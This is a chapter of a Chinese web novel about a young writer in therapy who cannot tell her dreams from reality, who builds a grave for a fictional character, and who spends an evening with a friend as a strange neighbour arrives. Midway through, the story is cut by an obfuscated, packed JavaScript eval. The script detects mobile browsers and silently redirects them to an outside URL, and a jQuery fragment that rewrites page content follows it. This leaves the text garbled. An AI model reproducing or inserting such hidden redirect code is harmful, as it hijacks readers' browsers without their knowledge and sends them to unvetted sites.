一个半月的心理咨询都很顺利，郁酒酒慢慢愿意走出家门，定期拜访岑医生。
这天，郁酒酒一进咨询室，按照医生的要求，脱掉鞋袜，光脚踩过温热的地板，窝在房间角落里那个柔软而洁白的猫窝沙发里，像一只舔舐皮毛的小兽。
她们每次都是这样交流的，岑医生认为郁酒酒需要一种稳定的安全感。
“酒酒，好久不见。你最近睡眠还好吗？”岑霜问。
“不好，只有在你这里，我能睡上一会儿。”
郁酒酒在这个房间、在毛茸茸的沙发里、岑霜的注视下，才能短暂地睡着，拥有愉快的一觉，一个梦也不做。
钟摆的滴答声浅浅清晰，模糊，再挤入耳朵。
淡淡的柑橘香味传来，郁酒酒眨着眼睛醒来，说：“岑医生，你今天换了新的熏香。”
“我以为你会喜欢。”岑霜说。
“嗯，喜欢的。”郁酒酒盯着洁白的天花板，朦胧的眼光望着光线温和的顶灯，“我这些天又梦到他了，那是个很长很遥远的梦。”
“医生，那个梦中梦和现实没什么区别，就是剧情太过荒诞。我记得我说过很多次，一年前，我从梦里吓醒的那一天，我真的以为自己穿越了到了平行世界。”
郁酒酒忽然坐起来，眉头紧簇，强调说：“我是说这里——你和我所在的世界，是平行世界。”
“酒酒，首先我很尊重你的感受，我们很难定义平行世界是否存在。”岑霜温柔道：“但是，梦和现实往往基于人的感知而有记忆。我想或许是因为你在创作小说，小说中的角色作为现实符号投射进你的潜意识中，就像我们之前探讨的梦与清醒现实的关系。”
“可是——”
“梦太过真实了，对吗？”岑霜问。
郁酒酒点头。
“你的情感是真实的，对生活的触碰也是真实的。潜意识里的情感和现实交织，凝结出了一个这样真实的梦。”岑霜句句引导：“就像你之前告诉我的那样，你在小说中写到恶灵白骨，而你也做过一个被白骨追逐的梦。”
“这样的话，梦的规律是必然的吗？”
“酒酒，梦是一种映射，很难用规律来定义。现在是四点钟，你今天的状态很不好，我们可以结束了。”
“今天这么快吗？”
“也许是因为你睡了一个好觉。现在已经一个小时了。这是你之前提出的要求，每次来访不超过一小时，不是吗？”岑霜说：“我在遵守你的规则。”
郁酒酒望着岑霜的脸，岑霜很年轻，拥有亮眼的履历。她戴着一副金丝框眼镜，浅蓝色的眼睛藏在镜片后面，像是要挡掉一切不合时宜的窥视。
难道她认识我吗？岑霜竟然给人一种熟悉的错觉，就好像岑霜已经任是她很久很久一样。
郁酒酒：“岑医生，我们之前是不是见过？我是说在我来访之前、两个月前。”
“酒酒，我第一次见到你，是你来访的那天。”岑霜笑了笑。
“医生，我感觉你很熟悉，就好像，我梦里也找你做咨询来着，我们好像见过很多次。我是说梦里……”郁酒酒试探道。
“酒酒，原谅我打断你，”岑霜神色一敛，严肃道：“这一期的药物，我想我需要为你做出一些调整，周二在门诊挂我的号，新一期治疗从周二开始，好吗？”
“好。”郁酒酒很相信她，趁着她做笔记时说：“医生，我其实很想摆脱这个梦。”
“为什么呢？”岑霜的镜片在阳光下闪着光。
“没什么。”郁酒酒再没回答，她觉得自己不想说这些，起码此刻，不再想多说。
离开咨询室时，阳光温和地照在郁酒酒脸上，柑橘的味道似乎被她带了出来，久久不散。
那些事，似乎真的遥远地像个梦一样。
真的是梦吗？
如果是梦的话，她为什么为一个角色重金买了一块墓地呢？
-
灵山公墓。
郁酒酒捧着一束纯白色的桔梗花，穿过一排排山石小道，在最后一排的最后一个位置，找到司钊。
白色大理石的墓碑上，刻着司钊之墓，落款是作者大人。他喜欢桃子汽水，喜欢冰激淋，这些在墓碑前都有。
郁酒酒轻轻放下一束花，蹲在司钊的墓碑前，悄声说话：“今天你也好呀！司钊。”
郁酒酒拍了下司钊的墓碑，惋惜道：“你就这样离开我了，在梦里的未来。而我，似乎也要离开你了，在真实的现在。”
松针碰撞的沙沙声似乎在回答她。司钊的墓碑旁有一颗四季常青的圣诞松树，上面挂了小彩球和星星灯。
一切都在还原她记忆中的圣诞节。同样的松树、同样的装饰，成为她记忆中名为司钊的锚点。
冬天的墓园里向来没什么人，大自然的声音组成一组安眠的白噪音。
天色晚时，脚步声从身后传来，郁酒酒蓦然回头。
怎么会是程陆？
说来很巧，程陆在伦萨结束期末周，匆匆回国，在郁酒酒家门口碰壁，便联系上她的司机应叔。
“应叔说你在这里，”程陆走近，和郁酒酒蹲成一排，颇有兴趣地问：“酒酒，你为一个小说角色立了墓吗？”
郁酒酒的目光很悲伤，轻声说：“如你所见。岑医生建议我要告别过去，可以试试把梦埋葬，我就会变得好一些，不然我可能会分不清梦和现实。”
冬日里的风很冷，程陆没有反驳，也没有赞同。他轻轻把自己的大衣披上她的肩膀，沉默了许久才问：“墓里你埋的什么？”
郁酒酒戳了下司钊的墓碑，“你猜呢。”
“空的吗？”程陆很好奇。
“才不是。”她颇为得意地笑，狡黠的笑容里，眼睛里藏着亮闪闪的光。
“那是什么？”程陆修长的指尖触碰墓碑，刺骨冰凉。
“你猜……我们要走喽，不然你要冻成冰棍啦。”郁酒酒站起身，推搡着程陆离开。
墓园外，郁酒酒来时的车子已经不在。程陆过来后，等待郁酒酒的应叔提前下班。
回程路上，程陆开车。暖风吹来，郁酒酒迷迷糊糊地睡过全部车程。程陆没有喊她，睡醒后，两个人在购物中心一通扫荡，大包小包地回家。
家里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026406|194431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家外灯火通明，程陆正来来回回搬运东西时，郁酒酒抱着一袋法棍面包在门口僵住，风吹得她嗓音有些抖：“程陆。”
“嗯？”程陆从房间里探出头。
“你来过我家这么多次，有注意到对面的新邻居是什么时候搬来的吗？”郁酒酒的目光慢悠悠的，盯着对面的别墅，和她家一模一样的布局结构，像是完美的复制体。
整个街区的联排别墅都长得一模一样，也没什么好奇怪的。
程陆摇头，反问：“你很好奇？”
郁酒酒笑了一笑，指着门口地上的一箱草莓，“那你去敲敲门？拜访一下新邻居？”
“好的。”程陆抱着一箱草莓，穿过道路，缓缓地敲响了对方的门。
“咚——咚——”
长久的寂静，郁酒酒几乎以为门不会打开时，门缓缓地拉开一条缝。同时，对面门厅的灯光瞬间熄灭，宛如短路一般。
她站在自己的门厅里，灯火通明，望见程陆的背影似乎僵硬了一瞬。
新邻居收下草莓，他们似乎聊了几句。程陆转身朝郁酒酒走来，他唇角压得很低，看向郁酒酒时又是和煦的笑容。
越过程陆的身影，郁酒酒看见门缝里的黑暗，那样漆黑的空间，在门合上后，门厅的灯光瞬间亮起。
“奇怪的新邻居。”郁酒酒迎接着程陆进门，走在他身后，顺手关了门，问：“你见到新邻居了吗？”
“嗯，好像是一对夫妻，我只看到了男主人，和女主人的背影。”
“那没有小朋友吧，我不喜欢小朋友。”
“嗯。没有。”
“那长得帅吗？”郁酒酒八卦道。
程陆似乎很认真地思考这个问题，好半响才说：“和我差不多，你觉得我帅吗？”
“帅！超级无敌大帅哥！”郁酒酒相当捧场。
程陆没什么情绪，他淡淡应了声，然后接过郁酒酒手里的法棍，问：“晚饭想吃什么？我来做。”
郁酒酒转瞬就把新邻居忘到脑后，冲去冰箱前，挑拣着食材点菜：“小牛排、热红酒、蛋挞还有他可饼和沙拉，我们会不会吃不下？”
程陆有些走神，“当然。”
“需要我帮忙吗？”
“不、不用。”程陆拒绝她。
郁酒酒是不会做饭的，所以没想着给程陆添乱。她拿着一瓶橘子汽水坐在吧台前，看着程陆忙碌晚餐。
“程陆。”
“嗯？”
“你怎么心不在焉？是在伦萨发生什么事了吗？”
“时差。”程陆一刀一刀划着小牛排，他目光很认真，动作很考究，却没有抬眼看郁酒酒，“晚餐后我会早点睡，好吗？”
“当然。”郁酒酒闻着小牛排和迷迭香的味道，忽然想起一件事，问：“《不羡》我写完了，这些天可以麻烦你帮我装帧吗？我记得你有位朋友，很擅长做装帧设计，价格不是问题。”
过了很久，程陆抬起眼，额前的碎发有些遮住眼睛，他没有笑，也没有拒绝。
第一份香煎牛排被放在郁酒酒面前，程陆递给她刀叉时，答应她：“好。”